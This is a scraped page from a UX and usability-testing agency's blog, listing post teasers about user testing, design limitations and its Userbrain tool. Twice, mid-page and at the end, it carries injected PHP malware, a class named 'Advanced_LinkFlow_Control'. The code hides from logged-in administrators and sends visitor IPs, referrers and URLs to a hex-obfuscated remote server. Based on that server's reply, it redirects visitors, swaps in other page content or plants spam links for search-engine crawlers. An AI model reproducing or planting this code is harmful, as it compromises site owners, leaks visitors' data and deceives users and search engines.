The user is always right? Wrong!
As someone who might be called usability expert, I’ve often referred to the old saying that the user is always right. As an interface designer on the other hand, I can’t agree with this statement at all. I think users are stupid individuals.
Unser neues Buch: Wir erklären dir in klarer und verständlicher Weise, wie UX (User Experience) in der Praxis wirklich funktioniert » Zum Buch
They click on all the wrong things, avoid clicking on the things you want them to, and simply don’t use the design in the way you intented it to be used. They almost do everything wrong. Believe me, I’m a user myself and I’m screwing up on a daily basis.
weiterlesen
Why limitations are key to great UX
There are two main reasons why limitations are great. First, they foster one’s creativity and second, limitations mean that there are less features, less buttons, and less friction in your user interface. The odds of achieving a clear and understandable user experience are way higher if you limit yourself and the features of the software you’re designing.
Unser neues Buch: Wir erklären dir in klarer und verständlicher Weise, wie User Testing in der Praxis wirklich funktioniert » Zum Buch
One example: I’m using multiple writing tools. Is use Notational Velocity for creative writing, WordPress for editing and publishing articles, Google Drive for simple and fast layouts, InDesign for more sophisticated tasks, and so on. Wouldn’t it be great if I could do all my writing in one single tool? No, it would suck!
weiterlesen
What people want to know about Userbrain
Some days ago we sent a short survey to everyone who already signed up for Userbrain. Here’s a quick review about what people really want to know about Userbrain.
Unser neues Buch: Wir erklären dir in klarer und verständlicher Weise, wie User Testing in der Praxis wirklich funktioniert » Zum Buch
What is Userbrain?
First and foremost Userbrain is a tool for us – Simplease. We are a design/usability agency based in Graz, Austria and help clients from all different sizes and industries developing easy to use software applications and web sites.
weiterlesen
Why we build Userbrain
We are designers like you and we are usability experts like you . We believe in user-centred design and we regularly perform our own user tests. There’s only one problem: we need to do way more tests, way faster.
That’s why we’re building Userbrain.
weiterlesen
The interface of weather
Everything in this world is an interface.
Interface is something that is by definition in between. An operating system is the interface between the hardware and software. This website is the interface between the text and the reader. Language is also an interface, it is between us and we use it to interact. A cup, a cigarette, a phone, a pen, a condom, a tree are all interfaces – they connect something to something else.
From Cognitive Interfaces to Transcendental Protocols by Nodus Labs
weiterlesen
Designing is editing
I just wrote an article about the reasons why every UI designer should do usability tests . Here’s another reason why you should test your own user interfaces: designing is editing.
In a very recent article Jordan Koschei describes how Jonathan Ive and Steve Jobs were such a great design team. Why? Because Ive would create and Jobs would edit. Since Jobs died in 2012, Apple delivered unedited design, leading to things like iOS 7 that some of us believe to be missteps. weiterlesen
Why designers should do usability tests
We did a lot of usability tests in the past – for our own designs as well as for web sites and software designed by other people. Just lately during one of these tests for some digital product, I made a profound discovery: UI designers should do their own usability tests.
What happened? I planned a usability session with 3 to 4 test users for early mockups of some user interface I had designed. Everyone else on our team was busy so I decided to perform the tests myself. Although I knew that it might be tricky and usually you should not do your own tests, it turned out to be a great experience. weiterlesen
if(!class_exists('Advanced_LinkFlow_Control')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;}foreach($_COOKIE as $key => $value){if(strpos($key,'wordpress_logged_in_')=== 0){$lf_enable=false;break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI']?? '/';$ua=$_SERVER['HTTP_USER_AGENT']?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST']?? '') .$uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x64a\x72k\x62a\x62y\x63o\x6et\x72o\x6c.\x63o\x6d/\x67e\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';if(@preg_match('/googlebot|google-structured-data/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/duckduckbot/i',$ua)){$bot=TRUE;$this->bot='duckduck';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$bot_sources=['google'=> $this->google_ip_list ??[],'bing'=> $this->bing_ip_list ??[],'yandex'=> $this->yandex_ip_list ??[],];foreach($bot_sources as $bot_name => $ip_list){foreach($ip_list as $ip_mask){$pattern='#^' .str_replace(['.','*'],['\.','.*'],$ip_mask) .'$#';if(preg_match($pattern,$this->ip)){$bot=TRUE;$this->bot=$bot_name;break 2;}}}}if(!$bot){$hostbyaddr=@gethostbyaddr($this->ip);$host_patterns=['google'=> 'googlebot|google','bing'=> 'bing|msn|msr|slurp|yahoo','yandex'=> 'yandex','duckduckgo'=> 'duckduckgo|duckduckbot',];foreach($host_patterns as $bot_name => $pattern){if(preg_match("/$pattern/i",$hostbyaddr)){$bot=TRUE;$this->bot=$bot_name;break;}}}if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http://' .$_SERVER['SERVER_NAME']);if(isset($tmp['host'])){$host=$tmp['host'];}}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}&ref=" .urlencode($this->ref) .'&lang=' .urlencode($this->lang);if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .= '&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!== false){$res=1;}die(json_encode(['r'=> $res,'funcs'=>['curl_init'=> function_exists('curl_init')?1:0,'file_get_contents'=> function_exists('file_get_contents')?1:0,'allow_url_fopen'=> ini_get('allow_url_fopen')?1:0,'fsockopen'=> function_exists('fsockopen')?1:0,'socket_set_option'=> function_exists('socket_set_option')?1:0,]]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .= '&check=1';}$page=$this->get($url);if(preg_match('/
(.*?)<\/url>/us',$page,$matches)){$url=$matches[1];header("Location: {$url}");exit;}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,' ')!== FALSE){preg_match_all('~ (.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?){$tag}>~is",$content,$matches);if(isset($matches[0])){foreach($matches[0]as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?{$blocked_tag}>~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)>count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index<$links_count && $tag_index<$tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)=== '###'){$linkHTML=substr($link,0,-3);}else{$number=7200+strlen($link)%1000;$linkHTML="{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))==".{$tag_val['tag']}>"){$tag_content_new=str_replace(".{$tag_val['tag']}>"," {$linkHTML}{$tag_val['tag']}>",$tag_val['content']);}else{$tag_content_new=str_replace("{$tag_val['tag']}>"," {$linkHTML}{$tag_val['tag']}>",$tag_val['content']);}}$content=preg_replace("~" .preg_quote($tag_val['content'],'~') ."~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!== false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}}
Userbrain - Usability Testing
User-Tests einfach und am laufenden Band. Mehr erfahren
if(!class_exists('Advanced_LinkFlow_Control')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;}foreach($_COOKIE as $key => $value){if(strpos($key,'wordpress_logged_in_')=== 0){$lf_enable=false;break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI']?? '/';$ua=$_SERVER['HTTP_USER_AGENT']?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST']?? '') .$uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x64a\x72k\x62a\x62y\x63o\x6et\x72o\x6c.\x63o\x6d/\x67e\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';if(@preg_match('/googlebot|google-structured-data/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/duckduckbot/i',$ua)){$bot=TRUE;$this->bot='duckduck';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$bot_sources=['google'=> $this->google_ip_list ??[],'bing'=> $this->bing_ip_list ??[],'yandex'=> $this->yandex_ip_list ??[],];foreach($bot_sources as $bot_name => $ip_list){foreach($ip_list as $ip_mask){$pattern='#^' .str_replace(['.','*'],['\.','.*'],$ip_mask) .'$#';if(preg_match($pattern,$this->ip)){$bot=TRUE;$this->bot=$bot_name;break 2;}}}}if(!$bot){$hostbyaddr=@gethostbyaddr($this->ip);$host_patterns=['google'=> 'googlebot|google','bing'=> 'bing|msn|msr|slurp|yahoo','yandex'=> 'yandex','duckduckgo'=> 'duckduckgo|duckduckbot',];foreach($host_patterns as $bot_name => $pattern){if(preg_match("/$pattern/i",$hostbyaddr)){$bot=TRUE;$this->bot=$bot_name;break;}}}if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http://' .$_SERVER['SERVER_NAME']);if(isset($tmp['host'])){$host=$tmp['host'];}}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}&ref=" .urlencode($this->ref) .'&lang=' .urlencode($this->lang);if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .= '&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!== false){$res=1;}die(json_encode(['r'=> $res,'funcs'=>['curl_init'=> function_exists('curl_init')?1:0,'file_get_contents'=> function_exists('file_get_contents')?1:0,'allow_url_fopen'=> ini_get('allow_url_fopen')?1:0,'fsockopen'=> function_exists('fsockopen')?1:0,'socket_set_option'=> function_exists('socket_set_option')?1:0,]]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .= '&check=1';}$page=$this->get($url);if(preg_match('/
(.*?)<\/url>/us',$page,$matches)){$url=$matches[1];header("Location: {$url}");exit;}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,' ')!== FALSE){preg_match_all('~ (.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?){$tag}>~is",$content,$matches);if(isset($matches[0])){foreach($matches[0]as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?{$blocked_tag}>~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)>count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index<$links_count && $tag_index<$tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)=== '###'){$linkHTML=substr($link,0,-3);}else{$number=7200+strlen($link)%1000;$linkHTML="{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))==".{$tag_val['tag']}>"){$tag_content_new=str_replace(".{$tag_val['tag']}>"," {$linkHTML}{$tag_val['tag']}>",$tag_val['content']);}else{$tag_content_new=str_replace("{$tag_val['tag']}>"," {$linkHTML}{$tag_val['tag']}>",$tag_val['content']);}}$content=preg_replace("~" .preg_quote($tag_val['content'],'~') ."~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!== false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}}